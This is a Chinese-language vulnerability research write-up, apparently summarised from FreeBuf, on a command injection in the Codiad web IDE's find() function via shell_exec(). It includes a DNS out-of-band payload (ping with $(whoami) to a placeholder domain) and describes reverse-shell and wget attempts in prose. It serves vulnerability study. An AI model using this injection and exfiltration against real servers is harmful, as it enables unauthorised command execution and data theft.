Codiad在线IDE框架漏洞挖掘
字数 1192 2025-08-18 11:37:15

Codiad在线IDE框架漏洞挖掘与分析

1. 简介

Codiad是一个开源基于Web的IDE应用程序,用于在线编写和编辑代码。该项目托管在GitHub上:https://github.com/Codiad/Codiad

2. 环境搭建

2.1 基础环境

  • 使用phpstudy搭建基础环境
  • 开启Xdebug进行调试
  • 参考配置文档:https://blog.csdn.net/flyingdream123/article/details/69358819

2.2 Linux实验环境

  • 参考FreeBuf文章搭建:http://www.freebuf.com/articles/web/141788.html

3. 漏洞挖掘过程

3.1 漏洞定位

  1. 通过CVE漏洞库查询Codiad历史漏洞
  2. 发现该框架在shell_exec()函数处理上多次出现问题
  3. 锁定对该函数的调用作为切入点

3.2 关键函数分析

  • find()函数调用shell_exec()
  • $cmd参数由$input设置
  • $input$this->query设置
  • $this->query参数通过GET传参获取

3.3 调试过程

  1. 更改action参数值为find进行动态调试
  2. 在进入action判断前,对path参数进行了判定
  3. 注意当前目录名称的影响
  4. 观察shell_exec执行拼接好的操作

3.4 漏洞原理

  • 构造的query参数被双引号包含
  • 即使调用escapeshellarg函数处理参数,双引号包含仍可能导致命令执行
  • 上一个版本中此处已出现过命令执行漏洞

4. 漏洞验证

4.1 调试辅助

  • 修改无查询结果时的返回信息为执行的$cmd
    $this->message = $cmd;
    

4.2 初步验证

  1. 使用DNS外带查询判断命令执行:
    • 在反引号中执行子命令应使用$()语法
    • 示例:ping -c 1 $(whoami).xxx.xxx.io

4.3 反弹Shell尝试

  1. 服务器开启监听
  2. 尝试多种反弹Shell的payload
  3. 遇到限制时尝试其他方法:
    • 使用wget写文件
    • 注意文件权限问题

5. 漏洞利用

5.1 命令执行确认

  • 虽然无法直接反弹Shell,但通过DNS外带确认命令执行存在
  • 示例payload成功获取信息

5.2 绕过限制

  • 尝试网上各种反弹Shell的payload
  • 最终成功获取Shell
  • 过程中涉及多种权限问题处理

6. 总结

6.1 关键点

  1. shell_exec()函数的不当使用
  2. 参数处理不彻底导致命令注入
  3. 双引号包含构造参数的风险
  4. 多种验证方法(DNS外带、反弹Shell)

6.2 学习收获

  • 漏洞定位与分析技巧
  • 多种验证方法的实践
  • Linux环境下的权限处理
  • 反弹Shell的各种尝试

注:本文基于FreeBuf原文内容整理,作者licong,转载请注明来自FreeBuf.COM

Codiad在线IDE框架漏洞挖掘与分析 1. 简介 Codiad是一个开源基于Web的IDE应用程序,用于在线编写和编辑代码。该项目托管在GitHub上:https://github.com/Codiad/Codiad 2. 环境搭建 2.1 基础环境 使用phpstudy搭建基础环境 开启Xdebug进行调试 参考配置文档:https://blog.csdn.net/flyingdream123/article/details/69358819 2.2 Linux实验环境 参考FreeBuf文章搭建:http://www.freebuf.com/articles/web/141788.html 3. 漏洞挖掘过程 3.1 漏洞定位 通过CVE漏洞库查询Codiad历史漏洞 发现该框架在 shell_exec() 函数处理上多次出现问题 锁定对该函数的调用作为切入点 3.2 关键函数分析 find() 函数调用 shell_exec() $cmd 参数由 $input 设置 $input 由 $this->query 设置 $this->query 参数通过GET传参获取 3.3 调试过程 更改 action 参数值为 find 进行动态调试 在进入action判断前,对 path 参数进行了判定 注意当前目录名称的影响 观察 shell_exec 执行拼接好的操作 3.4 漏洞原理 构造的 query 参数被双引号包含 即使调用 escapeshellarg 函数处理参数,双引号包含仍可能导致命令执行 上一个版本中此处已出现过命令执行漏洞 4. 漏洞验证 4.1 调试辅助 修改无查询结果时的返回信息为执行的 $cmd : 4.2 初步验证 使用DNS外带查询判断命令执行: 在反引号中执行子命令应使用 $() 语法 示例: ping -c 1 $(whoami).xxx.xxx.io 4.3 反弹Shell尝试 服务器开启监听 尝试多种反弹Shell的payload 遇到限制时尝试其他方法: 使用wget写文件 注意文件权限问题 5. 漏洞利用 5.1 命令执行确认 虽然无法直接反弹Shell,但通过DNS外带确认命令执行存在 示例payload成功获取信息 5.2 绕过限制 尝试网上各种反弹Shell的payload 最终成功获取Shell 过程中涉及多种权限问题处理 6. 总结 6.1 关键点 shell_exec() 函数的不当使用 参数处理不彻底导致命令注入 双引号包含构造参数的风险 多种验证方法(DNS外带、反弹Shell) 6.2 学习收获 漏洞定位与分析技巧 多种验证方法的实践 Linux环境下的权限处理 反弹Shell的各种尝试 注:本文基于FreeBuf原文内容整理,作者licong,转载请注明来自FreeBuf.COM